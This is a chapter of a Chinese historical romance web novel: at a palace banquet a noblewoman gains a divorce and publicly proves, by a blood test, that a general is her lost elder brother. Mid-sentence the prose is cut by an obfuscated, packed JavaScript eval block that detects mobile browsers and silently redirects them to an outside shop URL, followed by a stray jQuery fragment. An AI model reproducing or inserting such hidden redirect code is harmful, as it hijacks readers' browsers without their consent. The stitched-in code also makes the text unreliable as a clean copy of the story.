众人不禁咋舌。
这公主在席上随便指了两下,竟都是裴氏的儿郎。
北师国是战败来降,与这位和亲公主成婚,其实也并非是什么高兴的事。
但见公主一连点了裴氏两人,旁的家族儿郎到底也有些不服气。
难道旁家是无人了么?裴钰也就罢了,他裴锦又凭什么?难道就因他当年一举得了状元?
可状元多的是,在座又不止他一个。
况且,他不是已经成婚了么?
正此时,裴锦也终于回神,忙起身撩袍而跪,“陛下容禀,臣已成婚,万不能再与公主成亲。”
那位公主倒是很无所谓:“这事简单,你休了她,再娶我不就好了?”
这公主怎能厚颜至此?
裴锦蹙眉,思量片刻,欲拿方才裴钰的那套说辞出来,余光却见席上的崔静月亦已起身,于他身侧跪下。
“陛下容禀。”她俯身以额触地,待得圣人旨意后才又起身,恭敬垂目道:“臣妇崔静月,乃裴六郎君之妻。愿如公主殿下所言,与裴六郎君和离。”
什…什么?
裴锦不可置信地望着他,片刻,终于恍然。
他终于知晓一路以来她究竟在等什么了。
她就是在等这个契机,这个能与他和离、彻底离开他的契机!
她怎么如此狠心!
“月娘你胡说什么!”他扯住她的手,试图制止她接下来的话。
可崔静月充耳不闻,也无视了他悲痛欲绝的目光。
她这一路上确实在等,但她等的是一个能为长兄证明身份的机会。
如今这个,确实是意外之喜。
她连忙抓住这个来之不易的机会,再一叩首,坚定道:“臣妇愿如公主殿下所言,与裴六郎君和离。愿殿下与六郎君早结连理,大翎与北师永修和平!”
她将这事从儿女私情上升到了家国大义,即便裴锦不愿和离,难道就敢破坏两国来之不易的和谈么?
今日,她要认长兄,也要和离!
圣人看看堂下的一对夫妇,又看看态度坚决的和亲公主,最后,将目光落在坐席上看似事不关己的裴钰身上。
宫宴前,裴钰曾单独面圣。
“公主和亲,恐有备而来,并非单纯与大翎人喜结连理。”
如今那公主专逮裴氏中人结亲,看似倾慕裴氏风华,实则却不然。
他不能让裴钰这个家主娶一个异族女子,可裴锦却是无妨的。如此引蛇入洞,让那公主入了裴氏,便能知晓北师国究竟有何目的。
想来裴钰也是如此想法,故而至今并无任何要阻拦的意思。
圣人心中暗叹不愧是发妻素来看重的侄子,他正要开口应下此事,便见裴锦又一叩首,竟是抗旨。
“陛下,臣与内子感情甚好,臣不愿和离!”
圣人眉目微沉,念在发妻的面上才未追究他的抗旨之罪,但面上的神色显然已经微淡。
“你这位夫人尚有大义,愿为两国邦交献力,裴锦,你难道还不如一个深宅妇人识大体?”
裴锦顾不得许多,只自欺欺人道:“陛下,内子只是胆小,以为若不和离便要破坏和亲罢了。正如长兄所说,长安大好儿郎千万,公主殿下何必盯着我们兄弟不放?这和亲也并非要我裴氏献力啊!”
“放肆!”
圣人怒而拍桌,“砰”的一声,席上皆敛声屏气不敢多言。
公主也有些生气。
她尚未言语,沈皇后便已劝了圣人几句,而后训斥道:“六郎慎言。公主如此,是看得上裴氏,到你这怎就成了死皮赖脸一般?”
公主:“……”
人家原话好似也并非是这个意思。
不过她还是有些不高兴,索性破罐子破摔,跪地俯首道:“陛下,贵国是泱泱大国,今日要我挑选夫婿,一个不成,另一个也不成,也不知贵国气度究竟何在?”
“况且这位崔娘子都同意了,还管那裴郎君作甚?陛下快下个旨意和离,让崔娘子归家便是。”
她这话倒是提醒了裴锦,他像是抓住了救命稻草般,高声道:“成婚是结两姓之好,当年臣自崔氏将内子迎回,若要和离,也并非她一介女流一句话便能敲定,还请陛下问问崔氏家主的意思!”
正坐在角落处的崔氏家主心口跳了下,在内侍的催促中,缩着脖子起身出列。
其实以他的官位,今日是够不上这宫宴的门槛的。
奈何自家与裴氏结了亲,今年也靠裴钰大发善心扶持一把,这才在角落里混了个位置。
却不想,今日竟还会有这么一出。
他这一辈子也没见过圣颜几次的人,今日竟要在圣人面前回话。
他哆哆嗦嗦上前叩首,顶着一众人殷切又催促的目光,忽而灵机一动:“其实此事,倒也并非唯和离可解……”
崔氏家主小心翼翼瞄了公主一眼,道:“若公主不嫌弃,可将三娘贬为妾室,六郎再迎公主为妻,此番两不耽误,是为两全之策。”
这下,就连沈皇后也不由愣住。
席上俱是一静。
“伯父忍心让三娘做妾,我这个做长兄的却是不允。”
一片寂静中,忽而响起一道男声。
崔俊在众人愣怔的目光中起身,于堂下撩袍而跪,叩首躬身道:“回陛下,臣不愿妹妹做妾,还求陛下念在臣妹曾在动乱中救下公主的份上,如她所愿,下旨和离。”
语毕,席上又是一片哗然。
有的在窃窃私语这位云麾将军何时多了个妹妹,有的交头接耳这位六郎娘子何时救过公主了?
“崔卿,你说这是你妹妹?”圣人看一眼裴锦就来气,索性直接关注起自己有心笼络的重臣上来。
“回陛下,正是。”崔俊躬身回道:“少时臣受重伤,因患失魂症而失去部分记忆,去了北境参军,后来入京见到舍妹才恢复些许。”
当年崔氏大郎君的名号,圣人还是太子时也是听过的,还时常同尚且年少的裴钰打趣:崔氏那位大郎君可不比他差,让他莫要得意自满才是。
如今细看崔俊眉眼,不知是否是先入为主的缘由,还当真是有些像了。
不过他自然不会妄断,转而又看向裴钰:“此事,裴卿以为如何?”
若说当年在长安,除了崔氏族中人,谁与这位崔大郎君相熟?
那便只能是裴钰了。
两人年岁相近,又都少时便负盛名,听说两人曾因两家的婚事打过一架,自此后倒是多有交集。
裴钰端详片刻,躬身回道:“回陛下,容貌确有相似,在军中时,其与崔大郎生活习性亦有相同。至于失魂症,还请陛下命太医查验一番才是。”
他言尽于此。
圣人点头,便派人寻了太医,确诊了是失魂症无疑。
“还请陛下为臣妇长兄正名。”见圣人面色和缓,崔静月忙伏地叩首。
“三娘慎言!这般大的事,你说是便是了?”
圣人与裴钰说话时,崔氏家主战战兢兢不敢插嘴,如今崔静月开了口,他自然就敢了,且还疾言厉色,颇多责怪。
“大郎当年分明死在外敌之乱,又如何能死而复生?焉知这不是你威逼利诱云麾将军,帮你促成此事!三娘,你一人荒唐也就罢了,可不要犯下欺君大罪还连累我们崔氏!”
外敌之乱虽已过去十三年,但仍旧是长安众人不愿提及的禁忌。
经过崔静月早前提醒,方才崔俊才刻意含糊而过,而今崔氏家主显然早已忘了此事,竟当众提起。
众人皆是面色一变,就连圣人亦不例外。
席上气氛顿时尴尬,崔氏家主这才意识到自己失言,忙又叩首请罪,最后只一口咬定:崔俊并非崔浚,崔静月是犯了欺君大罪。
崔静月才不理他,只同圣人道:“长兄虽失忆,却仍记得姓名,此为证据一。见过长兄的故人,均言长兄如今面目与年少相似……”
“此事就连裴侍郎也张口应了,是为证据二!”
冷不防被她提及,裴钰不由侧目。
片刻,眉目间冷色微化。
倒是会拉他下水。
崔静月才不管那么多,如今只想着能拉一个是一个,到时也有个垫背的。
她继续道:“长兄身上有处胎记,崔将军亦有,只是被伤痕遮盖,此为证据三。”
“至于证据四,不便宣之于众,还请陛下赐予笔墨,允臣妇私下告知。”
长兄食不得山药之事若传出去,恐怕会被有心之人利用,崔静月便执笔落字,再由内侍将字条恭敬呈于圣人。
圣人看见那字条,先被她那字迹吸引。
这小娘子看着柔柔弱弱,谁知竟写得一手好字。
而后恍惚记起,这毕竟是崔卿的女郎,崔卿当年连中三元,可是名满长安的状元郎,他的女儿又能差到哪去?
他命人将字条呈于裴钰,示意他对此饮食禁忌辨别真伪。
裴钰回忆片刻,点了点头。
内侍又将字条呈于崔氏家主面前。
其实这些证据,本也算不得什么,崔氏家主便一口咬定:“姓名可以是巧合,面目相似也是巧合,至于胎记,这不是已经被盖住了么?又怎能算作证据?”
“大伯父,那你想要如何?”崔静月蹙眉问。
崔氏家主道:“当众滴血认亲!”
时下重出身,辨认血脉便成了难事。
然而不知何时起,民间便流传起了滴血认亲的法子,若两人血液相融,便会被人认定为至亲。
此法广为流传,有时甚至会成为官府断案的证据,无人辩驳。
不论崔静月与崔俊心中作何感想,但在众人面前,两人只一同刺破手指,让两滴鲜血坠入水中。
崔静月指尖微痛,一颗心高高提起。
纵使心里已认定这便是自己的长兄,但万一……
万一是她认错了呢?
她暗中安慰自己,即便血不相融又如何?那也只是巧合太多,她跟长兄都被这些巧合骗了而已。
他们都是受害者,实在论不上是欺君
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808124|207082||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之罪。
饶是如此,崔静月手心也攥满了汗,忧心忡忡往碗中看去。
清水中的两滴血最终融在了一处。
她松了口气。
角落里,苏寻茵的目力没申杳好,便拽着她的衣袖问结果。
申杳很是欢喜:“融了!”
苏寻茵心想,其实学过医的大多都知晓,滴血认亲这事并不可取,在那清水里,任是谁人的血液最终都会相融。
不过既然崔将军跟皎皎长兄的种种特征都相符合,她自然也不会多想,只由衷替她高兴,她终于当众认回自己长兄了!
可崔氏家主显然很不高兴,他奔至碗边看了好一会儿,又抬眼看向崔俊,不得不说,确实有些相似。
可当初大郎是受了重伤又落入河中的,那时候天气又冷,他如何能活得下来?又怎么就成了这么一位朝中新贵了?
若当真让这么一个来路不明的人入了崔氏族谱,那他这家主往后还要不要做了?
“这…这绝不可能,定是这水有问题!”
一个圆脸内侍奉命入内,先验过了水,又查过了碗,最后朝圣人躬身:“禀陛下,并无异常。”
裴钰仍旧垂目。
闹到这时候,圣人已有些疲乏,揉一揉额角,下了定论:“既如此,那云麾将军便是崔氏大郎君无疑,寻个时间认祖归宗便是。”
“陛下……”崔氏家主仍欲再言。
圣人不怒自威的目光往他身上一落。
崔氏家主支支吾吾,再不敢多言。
“陛下。”崔俊率先开口:“崔氏伯父不愿认臣,臣也很无所谓,只要臣妹愿意认臣便好。若崔氏伯父实在不愿臣认祖归宗,那便分府别居,臣只要臣妹和离后能受臣庇佑。”
朝中新贵与一个靠姻亲关系才跨入宫门的小官,两者之间孰轻孰重,圣人还是能分得清的。
当下大手一挥,为贺崔俊寻得胞妹,便又赐了其一座更大的将军府。
好端端的,又赐府宅作甚?
明眼人都看得出来,圣人接连施恩,这是要对崔俊委以重任的意思了。
至于崔静月与申杳、苏寻茵三人,因在使团遇刺那日立了功劳,便赐了些金银珠宝、绫罗绸缎。
认亲这事到此结束,等圣人又看见裴锦与公主,恍然间才又想起还有这事。
便又一口敲定:“裴六郎,公主能看上你,是你的福气。既你娘子已主动让贤,朕便下旨命你三日内和离,而后迎娶公主。”
此为圣旨,天家圣言,一锤定音,并无商讨的余地。
可裴锦摇头,于殿上一下下地叩首,只说自己不愿,求陛下开恩,莫要拆散他们夫妻。
被他接二连三的抗旨,圣人大怒,当众赏了他三十杖。
裴锦被人拉出去后,圣人看一眼裴钰,便见他眉目低垂,一副大义灭亲的模样。
倒是那位和亲公主,颇有些不好意思,悄悄揪住了崔静月的衣袖说:“崔三娘子毕竟是我救命恩人,我也没有恩将仇报的道理。若三娘子不愿和离,同我共侍一夫便是,不过让你做妾是万万不能的,你我平妻可好?”
崔静月背后出了一层薄汗,没想到自己才躲过一难竟又迎来一关,她虽感念公主的善解人意,但也万万不愿再回那裴氏深宅。
她忙道自己身份低微,实不配与公主平起平坐。
裴锦被按在殿外的凳上打了三十杖,迷迷糊糊想起当初自己被长兄责罚了三十杖时,他的皎皎是怎样的心疼。
可这回被人拖着回到殿上后,她竟看都没多看他一眼。
圣人淡淡瞥他一眼,最终拍板:“裴锦,自去准备和离与娶妻事宜罢。”
裴锦再无力气抗旨。
一场端午宴便就这么散了。
待行出宫门,一切都变了。
崔静月起初乘裴氏车马而来,最后却踏上了崔俊提前备好的马车。
然而,裴锦却拦在她身前:“皎皎,我不信你会想要同我和离,我不信!”
他被打了三十杖,身子已不能站直,却还要拦着她,一副不得她答复便不罢休的模样。
崔静月无奈叹了口气,拦下要将她护在身后的长兄,“罢了长兄,若今日不跟他说清楚,以他的性子,日后每见我一回恐怕都要纠缠。”
“我跟他说几句话,长兄你别走远就是。”
崔俊停顿片刻,点了点头,就守在马车旁,任由两人行至马车后的阴影处说话。
他本就是武将,身上有些肃杀气,如今冷着脸站在那,护卫似的,让许多想留下来继续看热闹的人都望而却步,纷纷上了自家的马车离开。
唯有裴氏。
裴钰要留在此处看顾幼弟,老夫人与几位长辈年事已高,便回府休憩,将后续事宜留给他来处理。
长兄未走,底下的弟妹也没一个敢提前离开,便都缩着脖子候在一旁,活像是立了一群的鹌鹑。
裴钰双手拢在袖中,静静立于人前,等候着幼弟归来。
眼前飞过一对彩蝶,翅影交缠,起落翩然。